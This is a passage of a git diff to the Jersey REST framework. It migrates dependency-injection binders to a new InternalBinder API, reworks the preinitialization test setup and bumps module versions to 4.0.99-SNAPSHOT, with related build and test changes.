                     MyVetoedLongSupplier supplier = new MyVetoedLongSupplier();
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java
index e3013fe..e69de29 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestParent.java
@@ -1,48 +0,0 @@
-/*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.inject.weld.internal.managed;
-
-import jakarta.enterprise.inject.se.SeContainer;
-import jakarta.enterprise.inject.se.SeContainerInitializer;
-import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.Injections;
-import org.junit.jupiter.api.AfterAll;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.BeforeAll;
-
-public class TestParent {
-    protected static SeContainer container;
-    protected InjectionManager injectionManager;
-
-
-    @BeforeAll
-    public static void setup() {
-        SeContainerInitializer containerInitializer = SeContainerInitializer.newInstance();
-        container = containerInitializer.initialize();
-    }
-
-    @BeforeEach
-    public void init() {
-        injectionManager = Injections.createInjectionManager();
-    }
-
-    @AfterAll
-    public static void tearDown() throws Exception {
-        container.close();
-    }
-
-}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java
index 97d4a49..9766097 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/TestPreinitialization.java
@@ -20,104 +20,110 @@
 import jakarta.inject.Singleton;
 import jakarta.ws.rs.RuntimeType;
 
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.process.internal.RequestScoped;
 
-public class TestPreinitialization implements BootstrapPreinitialization {
+public class TestPreinitialization implements org.glassfish.jersey.innate.BootstrapPreinitialization {
+
     @Override
-    public void register(RuntimeType runtimeType, AbstractBinder binder) {
-        if (RuntimeType.CLIENT == runtimeType) {
-            //ClientInstanceInjectionTest
-            {
-                binder.bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierClient.class)
-                        .to(ClientInstanceInjectionTest.InjectableClientServer.class);
-            }
-            return;
-        }
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        injectionManager.register(new InternalBinder() {
+            @Override
+            protected void configure() {
+                if (RuntimeType.CLIENT == runtimeType) {
+                    //ClientInstanceInjectionTest
+                    {
+                        bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierClient.class)
+                                .to(ClientInstanceInjectionTest.InjectableClientServer.class);
+                        bindAsContract(ClientInstanceInjectionTest.InjectedBean.class);
+                    }
+                    return;
+                }
 
-        // Disposable supplier test
-        {
-            binder.bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class, Singleton.class)
-                    .to(DisposableSupplierTest.StringForSupplierSingletonClass.class);
-            binder.bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class)
-                    .to(DisposableSupplierTest.StringForSupplierClass.class);
-            binder.bindFactory(new DisposableSupplierTest.DisposableSupplierImpl())
-                    .to(DisposableSupplierTest.StringForSupplierInstance.class);
-            binder.bindFactory(SupplierGreeting.class)
-                    .to(DisposableSupplierTest.GreetingsClass.class);
-            binder.bindFactory(new SupplierGreeting())
-                    .to(DisposableSupplierTest.GreetingsInstance.class);
+                // Disposable supplier test
+                {
+                    bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class, Singleton.class)
+                            .to(DisposableSupplierTest.StringForSupplierSingletonClass.class);
+                    bindFactory(DisposableSupplierTest.DisposableSupplierImpl.class)
+                            .to(DisposableSupplierTest.StringForSupplierClass.class);
+                    bindFactory(new DisposableSupplierTest.DisposableSupplierImpl())
+                            .to(DisposableSupplierTest.StringForSupplierInstance.class);
+                    bindFactory(SupplierGreeting.class)
+                            .to(DisposableSupplierTest.GreetingsClass.class);
+                    bindFactory(new SupplierGreeting())
+                            .to(DisposableSupplierTest.GreetingsInstance.class);
 
-            binder.bindFactory(DisposableSupplierTest.ProxiableDisposableSingletonSupplierImpl.class, Singleton.class)
-                    .to(DisposableSupplierTest.ProxiableHolderSingletonClass.class)
-                    .in(RequestScoped.class);
-            binder.bindFactory(DisposableSupplierTest.ProxiableDisposableSupplierImpl.class)
-                    .to(DisposableSupplierTest.ProxiableHolderClass.class)
-                    .in(RequestScoped.class);
+                    bindFactory(DisposableSupplierTest.ProxiableDisposableSingletonSupplierImpl.class, Singleton.class)
+                            .to(DisposableSupplierTest.ProxiableHolderSingletonClass.class)
+                            .in(RequestScoped.class);
+                    bindFactory(DisposableSupplierTest.ProxiableDisposableSupplierImpl.class)
+                            .to(DisposableSupplierTest.ProxiableHolderClass.class)
+                            .in(RequestScoped.class);
 
-            binder.bindFactory(DisposableSupplierTest.DisposableSupplierForComposedImpl.class, Singleton.class)
-                    .to(DisposableSupplierTest.StringForComposed.class);
-            binder.bindAsContract(DisposableSupplierTest.ComposedObject.class)
-                    .in(RequestScoped.class);
-        }
+                    bindFactory(DisposableSupplierTest.DisposableSupplierForComposedImpl.class, Singleton.class)
+                            .to(DisposableSupplierTest.StringForComposed.class);
+                    bindAsContract(DisposableSupplierTest.ComposedObject.class)
+                            .in(RequestScoped.class);
+                }
 
-        // ThreadScopeTest
-        {
-            //testThreadScopedInDifferentThread
-            binder.bindAsContract(ThreadScopeTest.SingletonObject.class)
-                    .in(Singleton.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting())
-                    .to(ThreadScopeTest.Greeting.class)
-                    .in(PerThread.class);
+                // ThreadScopeTest
+                {
+                    //testThreadScopedInDifferentThread
+                    bindAsContract(ThreadScopeTest.SingletonObject.class)
+                            .in(Singleton.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting())
+                            .to(ThreadScopeTest.Greeting.class)
+                            .in(PerThread.class);
 
-            //testThreadScopedInRequestScope
-            binder.bindAsContract(ThreadScopeTest.RequestScopedInterface.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
+                    //testThreadScopedInRequestScope
+                    bindAsContract(ThreadScopeTest.RequestScopedInterface.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
 //                    bindFactory(new SupplierGreeting())
 //                            .to(Greeting.class)
 //                            .in(PerThread.class);
 
-            //testThreadScopedInRequestScopeImplementation
-            binder.bindAsContract(ThreadScopeTest.RequestScopedCzech.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting())
-                    .to(ThreadScopeTest.CzechGreeting.class)
-                    .in(PerThread.class);
+                    //testThreadScopedInRequestScopeImplementation
+                    bindAsContract(ThreadScopeTest.RequestScopedCzech.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting())
+                            .to(ThreadScopeTest.CzechGreeting.class)
+                            .in(PerThread.class);
 
-            //testThreadScopedInRequestTwoTypes
-            binder.bindAsContract(ThreadScopeTest.RequestScopedCzech2.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
-            binder.bindAsContract(ThreadScopeTest.RequestScopedEnglish2.class)
-                    .in(jakarta.enterprise.context.RequestScoped.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.CzechGreeting2.GREETING))
-                    .to(ThreadScopeTest.CzechGreeting2.class)
-                    .in(PerThread.class);
-            binder.bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.EnglishGreeting2.GREETING))
-                    .to(ThreadScopeTest.EnglishGreeting2.class)
-                    .in(PerThread.class);
+                    //testThreadScopedInRequestTwoTypes
+                    bindAsContract(ThreadScopeTest.RequestScopedCzech2.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
+                    bindAsContract(ThreadScopeTest.RequestScopedEnglish2.class)
+                            .in(jakarta.enterprise.context.RequestScoped.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.CzechGreeting2.GREETING))
+                            .to(ThreadScopeTest.CzechGreeting2.class)
+                            .in(PerThread.class);
+                    bindFactory(new ThreadScopeTest.SupplierGreeting2(ThreadScopeTest.EnglishGreeting2.GREETING))
+                            .to(ThreadScopeTest.EnglishGreeting2.class)
+                            .in(PerThread.class);
+                    //testSupplierClassBindingThreadScopedInSingletonScope
+                    bindAsContract(ThreadScopeTest.SingletonObject3.class)
+                            .in(Singleton.class);
+                    bindFactory(ThreadScopeTest.SupplierGreeting3.class)
+                            .to(ThreadScopeTest.Greeting3.class)
+                            .in(PerThread.class);
+                }
 
-            //testSupplierClassBindingThreadScopedInSingletonScope
-            binder.bindAsContract(ThreadScopeTest.SingletonObject3.class)
-                    .in(Singleton.class);
-            binder.bindFactory(ThreadScopeTest.SupplierGreeting3.class)
-                    .to(ThreadScopeTest.Greeting3.class)
-                    .in(PerThread.class);
-        }
+                //ClientInstanceInjectionTest
+                {
+                    bind(new ClientInstanceInjectionTest.StringInjectable(0))
+                            .to(ClientInstanceInjectionTest.Injectable.class).in(Dependent.class);
+                    bindAsContract(ClientInstanceInjectionTest.InjectedBean.class);
 
-        //ClientInstanceInjectionTest
-        {
-            binder.bind(new ClientInstanceInjectionTest.StringInjectable(0))
-                    .to(ClientInstanceInjectionTest.Injectable.class).in(Dependent.class);
-            binder.bindAsContract(ClientInstanceInjectionTest.InjectedBean.class);
+                    bindFactory(new ClientInstanceInjectionTest.StringInjectableSupplier2(0))
+                            .to(ClientInstanceInjectionTest.Injectable2.class).in(Dependent.class);
+                    //bindAsContract(ClientInstanceInjectionTest.InjectedSupplierBean.class);
 
-            binder.bindFactory(new ClientInstanceInjectionTest.StringInjectableSupplier2(0))
-                    .to(ClientInstanceInjectionTest.Injectable2.class).in(Dependent.class);
-            //bindAsContract(ClientInstanceInjectionTest.InjectedSupplierBean.class);
-
-            binder.bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierServer.class)
-                    .to(ClientInstanceInjectionTest.InjectableClientServer.class);
-        }
+                    bindFactory(ClientInstanceInjectionTest.InjectableClientServerSupplierServer.class)
+                            .to(ClientInstanceInjectionTest.InjectableClientServer.class);
+                }
+            }
+        });
     }
 }
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java
index 7c959fe..eebc0f7 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ThreadScopeTest.java
@@ -26,6 +26,7 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.process.internal.RequestScope;
 
diff --git a/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization b/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
similarity index 81%
rename from incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
rename to incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
index 7909bcf..98fb3b5 100644
--- a/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization
+++ b/incubator/cdi-inject-weld/src/test/resources/META-INF/services/org.glassfish.jersey.innate.BootstrapPreinitialization
@@ -1,5 +1,4 @@
-
-# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,4 +13,5 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
+org.glassfish.jersey.inject.weld.binder.client.ClientOnlyPreinitialization
 org.glassfish.jersey.inject.weld.internal.managed.TestPreinitialization
\ No newline at end of file
diff --git a/incubator/declarative-linking/pom.xml b/incubator/declarative-linking/pom.xml
index b3c4fb8..209b70a 100644
--- a/incubator/declarative-linking/pom.xml
+++ b/incubator/declarative-linking/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.ext</groupId>
@@ -177,6 +177,15 @@
             <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
                 <inherited>true</inherited>
             </plugin>
         </plugins>
diff --git a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java
index 241759f..cc273aa 100644
--- a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java
+++ b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/DeclarativeLinkingFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 import jakarta.inject.Singleton;
 
 import org.glassfish.jersey.Beta;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.linking.contributing.NaiveResourceLinkContributionContext;
 import org.glassfish.jersey.linking.contributing.ResourceLinkContributionContext;
 import org.glassfish.jersey.linking.mapping.NaiveResourceMappingContext;
@@ -43,7 +43,7 @@
 
         Configuration config = context.getConfiguration();
         if (!config.isRegistered(ResponseLinkFilter.class)) {
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
 
                 @Override
                 protected void configure() {
@@ -51,7 +51,7 @@
                             .to(ResourceMappingContext.class).in(Singleton.class);
                 }
             });
-            context.register(new AbstractBinder() {
+            context.register(new InternalBinder() {
 
                 @Override
                 protected void configure() {
diff --git a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java
index 85340a8..ba3d0cf 100644
--- a/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java
+++ b/incubator/declarative-linking/src/main/java/org/glassfish/jersey/linking/ResponseContextResolver.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,7 @@
 
 package org.glassfish.jersey.linking;
 
-import java.beans.FeatureDescriptor;
 import java.util.HashMap;
-import java.util.Iterator;
 import java.util.Map;
 
 import jakarta.el.ELContext;
@@ -87,11 +85,6 @@
     }
 
     @Override
-    public Iterator<FeatureDescriptor> getFeatureDescriptors(ELContext elc, Object o) {
-        return null;
-    }
-
-    @Override
     public Class<?> getCommonPropertyType(ELContext elc, Object o) {
         return Object.class;
     }
diff --git a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java
index bbac5b1..11458ee 100644
--- a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java
+++ b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/FieldProcessorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -147,6 +147,14 @@
             throw new UnsupportedOperationException("Not supported yet.");
         }
 
+        public String getMatchedResourceTemplate() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+        public List<String> getMatchedResourceTemplates() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
         @Override
         public List<Object> getMatchedResources() {
             Object dummyResource = new Object() {
diff --git a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java
index 34e0ff1..535908f 100644
--- a/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java
+++ b/incubator/declarative-linking/src/test/java/org/glassfish/jersey/linking/HeaderProcessorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -114,6 +114,14 @@
             throw new UnsupportedOperationException("Not supported yet.");
         }
 
+        public List<String> getMatchedResourceTemplates() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
+        public String getMatchedResourceTemplate() {
+            throw new UnsupportedOperationException("Not supported yet.");
+        }
+
         public List<Object> getMatchedResources() {
             Object dummyResource = new Object() {};
             return Collections.singletonList(dummyResource);
diff --git a/incubator/gae-integration/pom.xml b/incubator/gae-integration/pom.xml
index 4c05d17..4a82aa7 100644
--- a/incubator/gae-integration/pom.xml
+++ b/incubator/gae-integration/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-gae-integration</artifactId>
diff --git a/incubator/html-json/pom.xml b/incubator/html-json/pom.xml
index 3af57c6..a5dc5c6 100644
--- a/incubator/html-json/pom.xml
+++ b/incubator/html-json/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
@@ -81,12 +81,6 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-bundle</artifactId>
             <version>${project.version}</version>
diff --git a/incubator/injectless-client/pom.xml b/incubator/injectless-client/pom.xml
index 6e4e946..4aba84ed 100644
--- a/incubator/injectless-client/pom.xml
+++ b/incubator/injectless-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-injectless-client</artifactId>
@@ -50,6 +50,15 @@
             <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
                 <inherited>true</inherited>
                 <extensions>true</extensions>
             </plugin>
diff --git a/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java b/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java
index 61e6455..b9033f2 100644
--- a/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java
+++ b/incubator/injectless-client/src/main/java/org/glassfish/jersey/inject/injectless/NonInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,6 +22,7 @@
 import jakarta.annotation.Priority;
 import jakarta.inject.Inject;
 import jakarta.ws.rs.ConstrainedTo;
+import jakarta.ws.rs.core.Configuration;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.RuntimeType;
 
@@ -44,4 +45,9 @@
     public InjectionManager create(Object parent) {
         return new NonInjectionManager(false);
     }
+
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent); // RuntimeType is always client
+    }
 }
diff --git a/incubator/kryo/pom.xml b/incubator/kryo/pom.xml
index e0a40f8..2f2eed8 100644
--- a/incubator/kryo/pom.xml
+++ b/incubator/kryo/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.media</groupId>
diff --git a/incubator/open-tracing/pom.xml b/incubator/open-tracing/pom.xml
index 43dd60c..fe3d47f 100644
--- a/incubator/open-tracing/pom.xml
+++ b/incubator/open-tracing/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.incubator</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/incubator/pom.xml b/incubator/pom.xml
index 528eb08..24cae58 100644
--- a/incubator/pom.xml
+++ b/incubator/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.incubator</groupId>
diff --git a/inject/cdi2-se/pom.xml b/inject/cdi2-se/pom.xml
index 47af3e6..bd00580 100644
--- a/inject/cdi2-se/pom.xml
+++ b/inject/cdi2-se/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.inject</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi2-se</artifactId>
@@ -51,6 +51,18 @@
                     <groupId>jakarta.annotation</groupId>
                     <artifactId>jakarta.annotation-api</artifactId>
                 </exclusion>
+                <exclusion>
+                    <groupId>jakarta.enterprise</groupId>
+                    <artifactId>jakarta.enterprise.cdi-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.el</groupId>
+                    <artifactId>jakarta.el-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>jakarta.interceptor</groupId>
+                    <artifactId>jakarta.interceptor-api</artifactId>
+                </exclusion>
             </exclusions>
         </dependency>
 
@@ -78,6 +90,22 @@
         <dependency>
             <groupId>jakarta.enterprise</groupId>
             <artifactId>jakarta.enterprise.cdi-api</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.interceptor</groupId>
+                    <artifactId>jakarta.interceptor-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.interceptor</groupId>
+            <artifactId>jakarta.interceptor-api</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.annotation</groupId>
+                    <artifactId>jakarta.annotation-api</artifactId>
+                </exclusion>
+            </exclusions>
         </dependency>
     </dependencies>
 
@@ -113,8 +141,9 @@
                         <Import-Package>
                             sun.misc.*;resolution:=optional,
                             ${cdi.osgi.version},
-                            jakarta.decorator.*;version="[3.0,5)",
+                            ${jakarta.decorator.osgi.version},
                             ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
index 7d201f1..91b4521 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -37,14 +37,14 @@
 
 import org.glassfish.jersey.inject.cdi.se.bean.JerseyBean;
 import org.glassfish.jersey.inject.cdi.se.injector.ContextInjectionResolverImpl;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
 import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
 
@@ -57,7 +57,7 @@
 public class CdiSeInjectionManager implements InjectionManager {
 
     // Keeps all binders and bindings added to the InjectionManager during the bootstrap.
-    private final AbstractBinder bindings = new AbstractBinder() {
+    private final InternalBinder bindings = new InternalBinder() {
         @Override
         protected void configure() {
         }
@@ -262,7 +262,7 @@
         this.beanManager = container.getBeanManager();
     }
 
-    protected AbstractBinder getBindings() {
+    protected InternalBinder getBindings() {
         return bindings;
     }
 
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java
index e1c79a0..128e40f 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java
+++ b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/CdiSeInjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.inject.cdi.se;
 
 import jakarta.annotation.Priority;
+import jakarta.ws.rs.core.Configuration;
 
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
@@ -33,4 +34,9 @@
     public InjectionManager create(Object parent) {
         return new CdiSeInjectionManager();
     }
+
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent); // no configuration used at the moment
+    }
 }
diff --git a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java b/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java
index e804387..f99020d 100644
--- a/inject/cdi2-se/src/main/java/org/glassfish/jersey/inject/cdi/se/SeBeanRegisterExtension.java
